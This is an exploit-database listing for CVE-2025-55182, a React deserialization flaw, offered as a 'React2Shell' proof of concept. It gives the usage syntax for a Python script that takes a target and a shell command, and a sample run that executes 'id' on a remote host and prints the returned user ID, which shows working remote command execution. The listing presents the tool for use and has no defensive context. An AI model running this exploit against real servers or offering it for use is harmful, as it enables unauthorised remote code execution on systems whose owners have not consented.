Exploit for Deserialization of Untrusted Data in Facebook React CVE-2025-55182

Name: Exploit for Deserialization of Untrusted Data in Facebook React CVE-2025-55182
Rating: 5 (6 reviews)

2026-06-22 | CVSS 10.0

## https://sploitus.com/exploit?id=2B539108-1D8B-56B5-A8AC-B8E1E8E96640
# CVE-2025-55182-POC
React2Shell POC
### Usage:
```bash
> sudo python3 hehe.py -t  -c 
```
**Example:**
```bash
❯ sudo python3 hehe-t 12.05.12.05 -c "id"

    .______       _______     ___       ______ .___________. __   __       _______. __    __   _______  __       __
    |   _  \     |   ____|   /   \     /      ||           ||  | |  |     /       ||  |  |  | |   ____||  |     |  |
    |  |_)  |    |  |__     /  ^  \   |  ,----'`---|  |----`|  | |  |    |   (----`|  |__|  | |  |__   |  |     |  |
    |      /     |   __|   /  /_\  \  |  |         |  |     |  | |  |     \   \    |   __   | |   __|  |  |     |  |
    |  |\  \----.|  |____ /  _____  \ |  `----.    |  |     |  | |  | .----)   |   |  |  |  | |  |____ |  `----.|  `----.
    | _| `._____||_______/__/     \__\ \______|    |__|     |__| |__| |_______/    |__|  |__| |_______||_______||_______|

By __av01dm3

[*] Target: 12.05.12.05
[*] Command: id

[+] SUCCESS!

uid=999(node) gid=988(node) groups=988(node)
```